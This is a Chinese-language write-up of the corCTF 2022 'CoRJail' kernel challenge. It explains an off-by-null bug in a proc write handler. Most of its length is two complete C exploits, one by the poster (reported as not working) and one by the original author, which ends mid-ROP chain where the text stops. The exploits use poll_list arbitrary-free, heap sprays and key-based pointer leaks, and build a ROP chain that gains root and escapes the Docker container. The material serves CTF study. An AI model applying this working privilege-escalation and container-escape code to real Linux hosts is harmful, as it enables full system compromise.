前言
题目来源:竞赛官网 – 建议这里下载,文件系统/带符号的 vmlinux
给了
参考
[corCTF 2022] CoRJail: From Null Byte Overflow To Docker Escape Exploiting poll_list Objects In The Linux Kernel – 原作者文章,poll_list
利用方式
corCTF-2022:Corjail-内核容器逃逸 – 对题目做了详细的解析
漏洞解析与利用
这里就直接对着源码看了,想分析题目的请阅读上述参考文章。
漏洞出现在 cormon_proc_write
函数中:
static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos)
{
loff_t offset = *ppos;
char *syscalls;
size_t len;
if (offset < 0)
return -EINVAL;
if (offset >= PAGE_SIZE || !count)
return 0;
len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count;
syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC);
printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);
if (!syscalls)
{
printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");
return -ENOMEM;
}
if (copy_from_user(syscalls, ubuf, len))
{
printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");
return -EFAULT;
}
syscalls[len] = '\x00';
if (update_filter(syscalls))
{
kfree(syscalls);
return -EINVAL;
}
kfree(syscalls);
return count;
}
当 len = PAGE_SIZE
时,存在 off by null
漏洞,测试发现没有开 cg
,所以利用方式很多,但是题目是在容器中并且限制了很多系统调用,比如 msgsnd
等。
这里笔者采用了两种利用方式,第一种就是原作者文章中提出的利用 poll_list
构造任意释放原语,然后利用该原语构造 UAF
,详细见原文。这里给出笔者的 exp
这种方式感觉很不稳定,然后我的
exp
存在问题,打不通。但是原作者的exp
是可以成功打通的。原作者的exp
可以好好学习一下,里面有很多技巧去稳定堆喷
笔者 exp
:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <poll.h>
#include <pthread.h>
#include <keyutils.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <sys/shm.h>
#include <sys/xattr.h>
#include <linux/rtnetlink.h>
#include <linux/capability.h>
#include <linux/genetlink.h>
#include <linux/pfkeyv2.h>
#include <linux/xfrm.h>
#include <net/if.h>
#include <arpa/inet.h>
struct rcu_head
{
void *next;
void *func;
};
struct user_key_payload
{
struct rcu_head rcu;
unsigned short datalen;
char *data[];
};
struct poll_list
{
struct poll_list *next;
int len;
struct pollfd entries[];
};
struct tty_file_private {
size_t tty;
size_t file;
size_t next;
size_t prev;
};
int randint(int min, int max)
{
return min + (rand() % (max - min));
}
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] %s\033[0m\n", msg);
sleep(1);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: \033[0m%#llx\n", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* root checker and shell poper */
void get_root_shell(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(5);
exit(EXIT_FAILURE);
}
puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
system("/bin/sh");
/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}
/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
/* bind the process to specific core */
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
// #define DEBUG 1
#ifdef DEBUG
#define debug(...) printf(__VA_ARGS__)
#else
#define debug(...) do {} while (0)
#endif
#define PAGE_SIZE 4096
#define N_STACK_PPS 30
#define POLLFD_PER_PAGE 510
#define POLL_LIST_SIZE 16
// size 为预分配的对象大小
#define NFDS(size) (((size - POLL_LIST_SIZE) / sizeof(struct pollfd)) + N_STACK_PPS);
pthread_t poll_tid[0x1000];
size_t poll_threads;
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
int fds[0x1000];
struct t_args
{
int id;
int nfds;
int timer;
bool suspend;
};
void assign_thread_to_core(int core_id)
{
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(core_id, &mask);
if (pthread_setaffinity_np(pthread_self(), sizeof(mask), &mask) < 0)
{
perror("[X] assign_thread_to_core_range()");
exit(1);
}
}
void init_fd(int i)
{
fds[i] = open("/etc/passwd", O_RDONLY);
if (fds[i] < 1)
{
perror("[X] init_fd()");
exit(1);
}
}
void *alloc_poll_list(void *args)
{
struct pollfd *pfds;
int nfds, timer, id;
bool suspend;
id = ((struct t_args *)args)->id;
nfds = ((struct t_args *)args)->nfds;
timer = ((struct t_args *)args)->timer;
suspend = ((struct t_args *)args)->suspend;
pfds = calloc(nfds, sizeof(struct pollfd));
for (int i = 0; i < nfds; i++)
{
pfds[i].fd = fds[0];
pfds[i].events = POLLERR;
}
assign_thread_to_core(0);
pthread_mutex_lock(&mutex);
poll_threads++;
pthread_mutex_unlock(&mutex);
debug("[Thread %d] Start polling...\n", id);
int ret = poll(pfds, nfds, timer);
debug("[Thread %d] Polling complete: %d!\n", id, ret);
assign_thread_to_core(randint(1, 3));
if (suspend)
{
debug("[Thread %d] Suspending thread...\n", id);
pthread_mutex_lock(&mutex);
poll_threads--;
pthread_mutex_unlock(&mutex);
while (1) { };
}
}
void create_poll_thread(int id, size_t size, int timer, bool suspend)
{
struct t_args *args;
args = calloc(1, sizeof(struct t_args));
if (size > PAGE_SIZE)
size = size - ((size/PAGE_SIZE) * sizeof(struct poll_list));
args->id = id;
args->nfds = NFDS(size);
args->timer = timer;
args->suspend = suspend;
pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args);
}
void join_poll_threads(void)
{
for (int i = 0; i < poll_threads; i++)
{
pthread_join(poll_tid[i], NULL);
open("/proc/self/stat", O_RDONLY);
}
poll_threads = 0;
}
int key_alloc(char *description, char *payload, size_t plen)
{
return syscall(__NR_add_key, "user", description, payload, plen,
KEY_SPEC_PROCESS_KEYRING);
}
int key_update(int keyid, char *payload, size_t plen)
{
return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}
int key_read(int keyid, char *buffer, size_t buflen)
{
return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}
int key_revoke(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}
int key_unlink(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}
#define HEAP_MASK 0xffff000000000000
#define KERNEL_MASK 0xffffffff00000000
bool is_kernel_pointer(uint64_t addr)
{
return ((addr & KERNEL_MASK) == KERNEL_MASK) ? true : false;
}
bool is_heap_addr(size_t addr) {
return addr >= 0xFFFF888000000000 && addr <= 0xFFFFF00000000000;
}
bool is_heap_pointer(uint64_t addr)
{
return (((addr & HEAP_MASK) == HEAP_MASK) && !is_kernel_pointer(addr)) ? true : false;
}
int fd;
void off_by_null(){
char buf[PAGE_SIZE] = { 0 };
write(fd, buf, PAGE_SIZE);
}
#define SPRAY_SEQ_F 2048
#define SPRAY_SEQ_S 128
#define SPRAY_SEQ (SPRAY_SEQ_F+SPRAY_SEQ_S)
#define SPRAY_KEY 199
#define SPRAY_TTY 256
#define SPRAY_PIPE 1024
int seq_fd[SPRAY_SEQ];
int key_id[SPRAY_KEY];
int tty_fd[SPRAY_TTY];
int pipe_fd[SPRAY_PIPE][2];
size_t kbase, koffset;
int main(int argc, char** argv, char** envp)
{
bind_core(0);
save_status();
char buf[0x20000] = { 0 };
fd = open("/proc_rw/cormon", O_RDWR);
if (fd < 0) err_exit("FAILED to open /proc_rw/cormon");
init_fd(0);
info("Saturating kmalloc-32 partial slabs...");
for (int i = 0; i < SPRAY_SEQ_F; i++) {
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
if (seq_fd[i] < 0)
err_exit("FAILED to open /proc/self/stat at Saturating kmalloc-32 partial slabs");
}
info("Spraying user_key_payload in kmalloc-32...");
for (int i = 0; i < SPRAY_KEY / 3; i++) {
char value[100] = { 0 };
char des[8] = { 0 };
sprintf(des, "%d", i);
setxattr("/tmp/exploit", "Pwner", value, 32, XATTR_CREATE);
key_id[i] = key_alloc(des, value, 32-0x18);
if (key_id[i] < 0) err_exit("FAILED to alloc user key");
}
int thread_nums = 22;
info("Creating poll threads to spray poll_list chain...");
for (int i = 0; i < thread_nums; i++) {
create_poll_thread(i, 4096+24, 4000, false);
}
while (poll_threads != thread_nums) {}
sleep(1);
info("Spraying user_key_payload in kmalloc-32...");
for (int i = SPRAY_KEY / 3; i < SPRAY_KEY; i++) {
char value[32] = { 0 };
char des[8] = { 0 };
sprintf(des, "%d", i);
setxattr("/tmp/exploit", "Pwner", value, 32, XATTR_CREATE);
key_id[i] = key_alloc(des, value, 32-0x18);
if (key_id[i] < 0) err_exit("FAILED to alloc user key");
}
info("Corrupting poll_list next pointer...");
off_by_null();
info("Triggering arbitrary free...");
join_poll_threads();
info("Overwriting user_key_payload.datalen by spraying seq_operations...");
for (int i = 0; i < SPRAY_SEQ_S; i++) {
seq_fd[SPRAY_SEQ_F+i] = open("/proc/self/stat", O_RDONLY);
if (seq_fd[SPRAY_SEQ_F+i] < 0)
err_exit("FAILED to open /proc/self/stat to spray seq_operations");
}
info("Leaking kernel addr...");
int victim_key_i = -1;
uint64_t proc_single_show = -1;
for (int i = 0; i < SPRAY_KEY; i++) {
if (key_read(key_id[i], buf, sizeof(buf)) > 32) {
binary_dump("OOB READ DATA", buf, 0x20);
victim_key_i = i;
proc_single_show = *(uint64_t*)buf;
koffset = proc_single_show - 0xffffffff813275c0;
kbase = koffset + 0xffffffff81000000;
hexx("victim_key_i", i);
hexx("proc_single_show", proc_single_show);
hexx("koffset", koffset);
hexx("kbase", kbase);
break;
}
}
if (victim_key_i == -1) err_exit("FAILED to leak kernel addr");
info("Freeing all user_key_payload...");
for (int i = 0; i < SPRAY_KEY; i++) {
if (i != victim_key_i) {
key_revoke(key_id[i]);
if (key_unlink(key_id[i]) < 0) err_exit("FAILED to key_unlink");
}
}
// info("Freeing partial seq_operations...");
// for (int i = 0; i < SPRAY_SEQ_S; i += 2) {
// close(seq_fd[SPRAY_SEQ_F+i]);
// }
sleep(1);
info("Spraying tty_file_private / tty_sturct...");
for (int i = 0; i < SPRAY_TTY; i++) {
tty_fd[i] = open("/dev/ptmx", O_RDWR|O_NOCTTY);
if (tty_fd[i] < 0) err_exit("FAILED to open /dev/ptmx");
}
info("Leak heap addr by OOB READ tty_file_private.tty_struct...");
memset(buf, 0, sizeof(buf));
int len = key_read(key_id[victim_key_i], buf, sizeof(buf));
hexx("OOB READ len", len);
struct tty_file_private* tfp;
struct tty_file_private tfp_data;
for (size_t i = 0; i < len; i += 8) {
tfp = (struct tty_file_private*)(&buf[i]);
if (is_heap_pointer(tfp->tty) && (((tfp->tty) & 0xff) == 0)) {
if ((tfp->next == tfp->prev) && (tfp->next != 0)) {
if (tfp->tty != tfp->file && tfp->tty != tfp->next) {
binary_dump("tty_file_private", tfp, sizeof(struct tty_file_private));
memcpy(&tfp_data, tfp, sizeof(struct tty_file_private));
break;
}
}
}
tfp = NULL;
}
if (tfp == NULL) err_exit("FAILED to leak heap addr");
uint64_t target_obj = tfp_data.tty;
hexx("A kmalloc-1k obj addr", target_obj);
// info("Freeing the rest of seq_operations...");
// for (int i = 1; i < SPRAY_SEQ_S; i += 2) {
// close(seq_fd[SPRAY_SEQ_F+i]);
// }
info("Freeing all seq_operations...");
for (int i = 0; i < SPRAY_SEQ_S; i++) {
close(seq_fd[SPRAY_SEQ_F+i]);
}
sleep(1);
thread_nums = 199;
info("Creating poll threads to spray poll_list chain...");
for (int i = 0; i < thread_nums; i++) {
create_poll_thread(i, 24, 5000, false);
}
while (poll_threads != thread_nums) {}
sleep(1);
info("Freeing victim key...");
key_revoke(key_id[victim_key_i]);
if (key_unlink(key_id[victim_key_i]) < 0) err_exit("FAILED to key_unlink");
info("Corrupting poll_list next pointer...");
for (int i = 0; i < SPRAY_KEY - 1; i++) {
char value[100] = { 0 };
char des[100] = { 0 };
*(uint64_t*)value = target_obj - 0x18;
sprintf(des, "%d", i);
setxattr("/tmp/exploit", "Pwner", value, 32, XATTR_CREATE);
key_id[i] = key_alloc(des, value, 32-0x18);
if (key_id[i] < 0) printf("ERROR at %d\n", i), perror("X"), err_exit("FAILED to alloc user key");
}
info("Freeing all tty_file_private / tty_struct...");
for (int i = 0; i < SPRAY_TTY; i++) {
close(tty_fd[i]);
}
/* info("Spraying user_key_payload to occupy some kmalloc-1k objs...");
for (int i = 0; i < SPRAY_KEY; i++) {
char value[0x1000] = { 0 };
char des[8] = { 0 };
sprintf(des, "%d", i);
key_id[i] = key_alloc(des, value, 1024-0x18);
if (key_id[i] < 0) printf("ERROR at %d\n", i), perror("X"), err_exit("FAILED to alloc user key");
}
sleep(1);
info("Freeing some user_key_payload to kmalloc-1k slab...");
for (int i = 0; i < SPRAY_KEY; i += 2) {
key_revoke(key_id[i]);
if (key_unlink(key_id[i]) < 0) err_exit("FAILED to key_unlink");
}
*/
info("Spraying pipe_buffer to occupy target obj...");
for (int i = 0; i < SPRAY_PIPE; i++) {
if (pipe(pipe_fd[i]) < 0) err_exit("FAILED to spray pipe_buffer");
write(pipe_fd[i][1], "Pwn", 3);
}
/* info("Freeing the rest of user_key_payload to kmalloc-1k slab...");
for (int i = 1; i < SPRAY_KEY; i += 2) {
key_revoke(key_id[i]);
if (key_unlink(key_id[i]) < 0) err_exit("FAILED to key_unlink");
}
*/
info("Triggering arbitrary free...");
join_poll_threads();
sleep(1);
char* buff = (char *)calloc(1, 1024);
// Stack pivot
*(uint64_t *)&buff[0x10] = target_obj + 0x30; // anon_pipe_buf_ops
*(uint64_t *)&buff[0x38] = koffset + 0xffffffff81882840; // push rsi ; in eax, dx ; jmp qword ptr [rsi + 0x66]
*(uint64_t *)&buff[0x66] = koffset + 0xffffffff810007a9; // pop rsp ; ret
*(uint64_t *)&buff[0x00] = koffset + 0xffffffff813c6b78; // add rsp, 0x78 ; ret
// ROP
uint64_t* rop = (uint64_t *)&buff[0x80];
// creds = prepare_kernel_cred(0)
*rop ++= koffset + 0xffffffff81001618; // pop rdi ; ret
*rop ++= 0; // 0
*rop ++= koffset + 0xffffffff810ebc90; // prepare_kernel_cred
// commit_creds(creds)
*rop ++= koffset + 0xffffffff8101f5fc; // pop rcx ; ret
*rop ++= 0; // 0
*rop ++= koffset + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
*rop ++= koffset + 0xffffffff810eba40; // commit_creds
// task = find_task_by_vpid(1)
*rop ++= koffset + 0xffffffff81001618; // pop rdi ; ret
*rop ++= 1; // pid
*rop ++= koffset + 0xffffffff810e4fc0; // find_task_by_vpid
// switch_task_namespaces(task, init_nsproxy)
*rop ++= koffset + 0xffffffff8101f5fc; // pop rcx ; ret
*rop ++= 0; // 0
*rop ++= koffset + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
*rop ++= koffset + 0xffffffff8100051c; // pop rsi ; ret
*rop ++= koffset + 0xffffffff8245a720; // init_nsproxy;
*rop ++= koffset + 0xffffffff810ea4e0; // switch_task_namespaces
// new_fs = copy_fs_struct(init_fs)
*rop ++= koffset + 0xffffffff81001618; // pop rdi ; ret
*rop ++= koffset + 0xffffffff82589740; // init_fs;
*rop ++= koffset + 0xffffffff812e7350; // copy_fs_struct;
*rop ++= koffset + 0xffffffff810e6cb7; // push rax ; pop rbx ; ret
// current = find_task_by_vpid(getpid())
*rop ++= koffset + 0xffffffff81001618; // pop rdi ; ret
*rop ++= getpid(); // pid
*rop ++= koffset + 0xffffffff810e4fc0; // find_task_by_vpid
// current->fs = new_fs
*rop ++= koffset + 0xffffffff8101f5fc; // pop rcx ; ret
*rop ++= 0x6e0; // current->fs
*rop ++= koffset + 0xffffffff8102396f; // add rax, rcx ; ret
*rop ++= koffset + 0xffffffff817e1d6d; // mov qword ptr [rax], rbx ; pop rbx ; ret
*rop ++= 0; // rbx
// kpti trampoline
*rop ++= koffset + 0xffffffff81c00ef0 + 22; // swapgs_restore_regs_and_return_to_usermode + 22
*rop ++= 0;
*rop ++= 0;
*rop ++= (uint64_t)&get_root_shell;
*rop ++= user_cs;
*rop ++= user_rflags;
*rop ++= user_sp;
*rop ++= user_ss;
info("Freeing all user_key_payload...");
for (int i = 0; i < SPRAY_KEY - 1; i++) {
key_revoke(key_id[i]);
if (key_unlink(key_id[i]) < 0) err_exit("FAILED to key_unlink");
}
sleep(1);
info("Spray ROP chain...");
for (int i = 0; i < 19; i++) {
char des[100] = { 0 };
sprintf(des, "%d", i);
key_id[i] = key_alloc(des, buff, 1024-0x18);
if (key_id[i] < 0) printf("ERROR at %d\n", i), perror("X"), err_exit("FAILED to alloc user key");
}
info("Hijacking control flow...");
for (int i = 0; i < SPRAY_PIPE; i++) {
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}
puts("EXP NERVER END!");
return 0;
}
效果如下:根本打不通,还是太菜了,最后似乎无法成功拿到 target_object
原作者 exp
:成功率还行,可以接收
#define _GNU_SOURCE
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <poll.h>
#include <pthread.h>
#include <keyutils.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <sys/shm.h>
#include <sys/xattr.h>
#include <linux/rtnetlink.h>
#include <linux/capability.h>
#include <linux/genetlink.h>
#include <linux/pfkeyv2.h>
#include <linux/xfrm.h>
#include <net/if.h>
#include <arpa/inet.h>
// #define DEBUG 1
#ifdef DEBUG
#define debug(...) printf(__VA_ARGS__)
#else
#define debug(...) do {} while (0)
#endif
#define HEAP_MASK 0xffff000000000000
#define KERNEL_MASK 0xffffffff00000000
#define PAGE_SIZE 4096
#define MAX_KEYS 199
#define N_STACK_PPS 30
#define POLLFD_PER_PAGE 510
#define POLL_LIST_SIZE 16
#define NFDS(size) (((size - POLL_LIST_SIZE) / sizeof(struct pollfd)) + N_STACK_PPS);
pthread_t poll_tid[0x1000];
size_t poll_threads;
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
uint64_t usr_cs, usr_ss, usr_rflags;
uint64_t proc_single_show;
uint64_t target_object;
uint64_t kernel_base;
int pipes[0x1000][2];
int seq_ops[0x10000];
int ptmx[0x1000];
int fds[0x1000];
int keys[0x1000];
int corrupted_key;
int n_keys;
int fd;
int s;
struct t_args
{
int id;
int nfds;
int timer;
bool suspend;
};
struct rcu_head
{
void *next;
void *func;
};
struct user_key_payload
{
struct rcu_head rcu;
unsigned short datalen;
char *data[];
};
struct poll_list
{
struct poll_list *next;
int len;
struct pollfd entries[];
};
bool is_kernel_pointer(uint64_t addr)
{
return ((addr & KERNEL_MASK) == KERNEL_MASK) ? true : false;
}
bool is_heap_pointer(uint64_t addr)
{
return (((addr & HEAP_MASK) == HEAP_MASK) && !is_kernel_pointer(addr)) ? true : false;
}
void __pause(char *msg)
{
printf("[-] Paused - %s\n", msg);
getchar();
}
void save_state()
{
__asm__ __volatile__(
"movq %0, cs;"
"movq %1, ss;"
"pushfq;"
"popq %2;"
: "=r" (usr_cs), "=r" (usr_ss), "=r" (usr_rflags) : : "memory" );
}
int randint(int min, int max)
{
return min + (rand() % (max - min));
}
void assign_to_core(int core_id)
{
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(core_id, &mask);
if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0)
{
perror("[X] sched_setaffinity()");
exit(1);
}
}
void assign_thread_to_core(int core_id)
{
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(core_id, &mask);
if (pthread_setaffinity_np(pthread_self(), sizeof(mask), &mask) < 0)
{
perror("[X] assign_thread_to_core_range()");
exit(1);
}
}
void init_fd(int i)
{
fds[i] = open("/etc/passwd", O_RDONLY);
if (fds[i] < 1)
{
perror("[X] init_fd()");
exit(1);
}
}
void *alloc_poll_list(void *args)
{
struct pollfd *pfds;
int nfds, timer, id;
bool suspend;
id = ((struct t_args *)args)->id;
nfds = ((struct t_args *)args)->nfds;
timer = ((struct t_args *)args)->timer;
suspend = ((struct t_args *)args)->suspend;
pfds = calloc(nfds, sizeof(struct pollfd));
for (int i = 0; i < nfds; i++)
{
pfds[i].fd = fds[0];
pfds[i].events = POLLERR;
}
assign_thread_to_core(0);
pthread_mutex_lock(&mutex);
poll_threads++;
pthread_mutex_unlock(&mutex);
debug("[Thread %d] Start polling...\n", id);
int ret = poll(pfds, nfds, timer);
debug("[Thread %d] Polling complete: %d!\n", id, ret);
assign_thread_to_core(randint(1, 3));
if (suspend)
{
debug("[Thread %d] Suspending thread...\n", id);
pthread_mutex_lock(&mutex);
poll_threads--;
pthread_mutex_unlock(&mutex);
while (1) { };
}
}
void create_poll_thread(int id, size_t size, int timer, bool suspend)
{
struct t_args *args;
args = calloc(1, sizeof(struct t_args));
if (size > PAGE_SIZE)
size = size - ((size/PAGE_SIZE) * sizeof(struct poll_list));
args->id = id;
args->nfds = NFDS(size);
args->timer = timer;
args->suspend = suspend;
pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args);
}
void join_poll_threads(void)
{
for (int i = 0; i < poll_threads; i++)
{
pthread_join(poll_tid[i], NULL);
open("/proc/self/stat", O_RDONLY);
}
poll_threads = 0;
}
int alloc_key(int id, char *buff, size_t size)
{
char desc[256] = { 0 };
char *payload;
int key;
size -= sizeof(struct user_key_payload);
sprintf(desc, "payload_%d", id);
payload = buff ? buff : calloc(1, size);
if (!buff)
memset(payload, id, size);
key = add_key("user", desc, payload, size, KEY_SPEC_PROCESS_KEYRING);
if (key < 0)
{
perror("[X] add_key()");
return -1;
}
return key;
}
void free_key(int i)
{
keyctl_revoke(keys[i]);
keyctl_unlink(keys[i], KEY_SPEC_PROCESS_KEYRING);
n_keys--;
}
void free_all_keys(bool skip_corrupted_key)
{
for (int i = 0; i < n_keys; i++)
{
if (skip_corrupted_key && i == corrupted_key)
continue;
free_key(i);
}
sleep(1); // GC keys
}
char *get_key(int i, size_t size)
{
char *data;
data = calloc(1, size);
keyctl_read(keys[i], data, size);
return data;
}
void alloc_pipe_buff(int i)
{
if (pipe(pipes[i]) < 0)
{
perror("[X] alloc_pipe_buff()");
return;
}
if (write(pipes[i][1], "XXXXX", 5) < 0)
{
perror("[X] alloc_pipe_buff()");
return;
}
}
void release_pipe_buff(int i)
{
if (close(pipes[i][0]) < 0)
{
perror("[X] release_pipe_buff()");
return;
}
if (close(pipes[i][1]) < 0)
{
perror("[X] release_pipe_buff()");
return;
}
}
void alloc_tty(int i)
{
ptmx[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
if (ptmx[i] < 0)
{
perror("[X] alloc_tty()");
exit(1);
}
}
void free_tty(int i)
{
close(ptmx[i]);
}
void alloc_seq_ops(int i)
{
seq_ops[i] = open("/proc/self/stat", O_RDONLY);
if (seq_ops[i] < 0)
{
perror("[X] spray_seq_ops()");
exit(1);
}
}
void free_seq_ops(int i)
{
close(seq_ops[i]);
}
int leak_kernel_pointer(void)
{
uint64_t *leak;
char *key;
for (int i = 0; i < n_keys; i++)
{
key = get_key(i, 0x10000);
leak = (uint64_t *)key;
if (is_kernel_pointer(*leak) && (*leak & 0xfff) == 0x5c0)
{
corrupted_key = i;
proc_single_show = *leak;
kernel_base = proc_single_show - 0xffffffff813275c0;
printf("[+] Corrupted key found: keys[%d]!\n", corrupted_key);
printf("[+] Leaked proc_single_show address: 0x%llx\n", proc_single_show);
printf("[+] Kernel base address: 0x%llx\n", kernel_base + 0xffffffff00000000);
return 0;
}
}
return -1;
}
int leak_heap_pointer(int kid)
{
uint64_t *leak;
char *key;
key = get_key(kid, 0x20000);
leak = (uint64_t *)key;
for (int i = 0; i < 0x20000/sizeof(uint64_t); i++)
{
if (is_heap_pointer(leak[i]) && (leak[i] & 0xff) == 0x00)
{
if (leak[i + 2] == leak[i + 3] && leak[i + 2] != 0)
{
target_object = leak[i];
printf("[+] Leaked kmalloc-1024 object: 0x%llx\n", target_object);
return 0;
}
}
}
return -1;
}
bool check_root()
{
int fd;
if ((fd = open("/etc/shadow", O_RDONLY)) < 0)
return false;
close(fd);
return true;
}
void win(void)
{
if (check_root())
{
puts("[+] We are Ro0ot!");
char *args[] = { "/bin/bash", "-i", NULL };
execve(args[0], args, NULL);
}
}
int main(int argc, char **argv)
{
char data[0x1000] = { 0 };
char key[32] = { 0 };
uint64_t *rop;
void *stack;
char *buff;
assign_to_core(0);
save_state();
stack = mmap((void *)0xdead000, 0x10000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
fd = open("/proc_rw/cormon", O_RDWR);
if (fd < 0)
{
perror("[X] open()");
return -1;
}
init_fd(0);
puts("[*] Saturating kmalloc-32 partial slabs...");
for (int i = 0; i < 2048; i++)
alloc_seq_ops(i);
puts("[*] Spraying user keys in kmalloc-32...");
for (int i = 0; i < 72; i++)
{
setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
keys[i] = alloc_key(n_keys++, key, 32);
}
assign_to_core(randint(1, 3));
puts("[*] Creating poll threads...");
for (int i = 0; i < 14; i++)
create_poll_thread(i, 4096 + 24, 3000, false);
assign_to_core(0);
while (poll_threads != 14) { };
usleep(250000);
puts("[*] Spraying more user keys in kmalloc-32...");
for (int i = 72; i < MAX_KEYS; i++)
{
setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
keys[i] = alloc_key(n_keys++, key, 32);
}
puts("[*] Corrupting poll_list next pointer...");
write(fd, data, PAGE_SIZE);
puts("[*] Triggering arbitrary free...");
join_poll_threads();
puts("[*] Overwriting user key size / Spraying seq_operations structures...");
for (int i = 2048; i < 2048 + 128; i++)
alloc_seq_ops(i);
puts("[*] Leaking kernel pointer...");
if (leak_kernel_pointer() < 0)
{
puts("[X] Kernel pointer leak failed, try again...");
exit(1);
}
puts("[*] Freeing user keys...");
free_all_keys(true);
puts("[*] Spraying tty_file_private / tty_struct structures...");
for (int i = 0; i < 72; i++)
alloc_tty(i);
puts("[*] Leaking heap pointer...");
if (leak_heap_pointer(corrupted_key) < 0)
{
puts("[X] Heap pointer leak failed, try again...");
exit(1);
}
puts("[*] Freeing seq_operation structures...");
for (int i = 2048; i < 2048 + 128; i++)
free_seq_ops(i);
assign_to_core(randint(1, 3));
puts("[*] Creating poll threads...");
for (int i = 0; i < 192; i++)
create_poll_thread(i, 24, 3000, true);
assign_to_core(0);
while (poll_threads != 192) { };
usleep(250000);
puts("[*] Freeing corrupted key...");
free_key(corrupted_key);
sleep(1); // GC key
puts("[*] Overwriting poll_list next pointer...");
*(uint64_t *)&data[0] = target_object - 0x18;
for (int i = 0; i < MAX_KEYS; i++)
{
setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
keys[i] = alloc_key(n_keys++, key, 32);
}
puts("[*] Freeing tty_struct structures...");
for (int i = 0; i < 72; i++)
free_tty(i);
sleep(1); // GC TTYs
puts("[*] Spraying pipe_buffer structures...");
for (int i = 0; i < 1024; i++)
alloc_pipe_buff(i);
puts("[*] Triggering arbitrary free...");
while (poll_threads != 0) { };
buff = (char *)calloc(1, 1024);
// Stack pivot
*(uint64_t *)&buff[0x10] = target_object + 0x30; // anon_pipe_buf_ops
*(uint64_t *)&buff[0x38] = kernel_base + 0xffffffff81882840; // push rsi ; in eax, dx ; jmp qword ptr [rsi + 0x66]
*(uint64_t *)&buff[0x66] = kernel_base + 0xffffffff810007a9; // pop rsp ; ret
*(uint64_t *)&buff[0x00] = kernel_base + 0xffffffff813c6b78; // add rsp, 0x78 ; ret
// ROP
rop = (uint64_t *)&buff[0x80];
// creds = prepare_kernel_cred(0)
*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
*rop ++= 0; // 0
*rop ++= kernel_base + 0xffffffff810ebc90; // prepare_kernel_cred
// commit_creds(creds)
*rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
*rop ++= 0; // 0
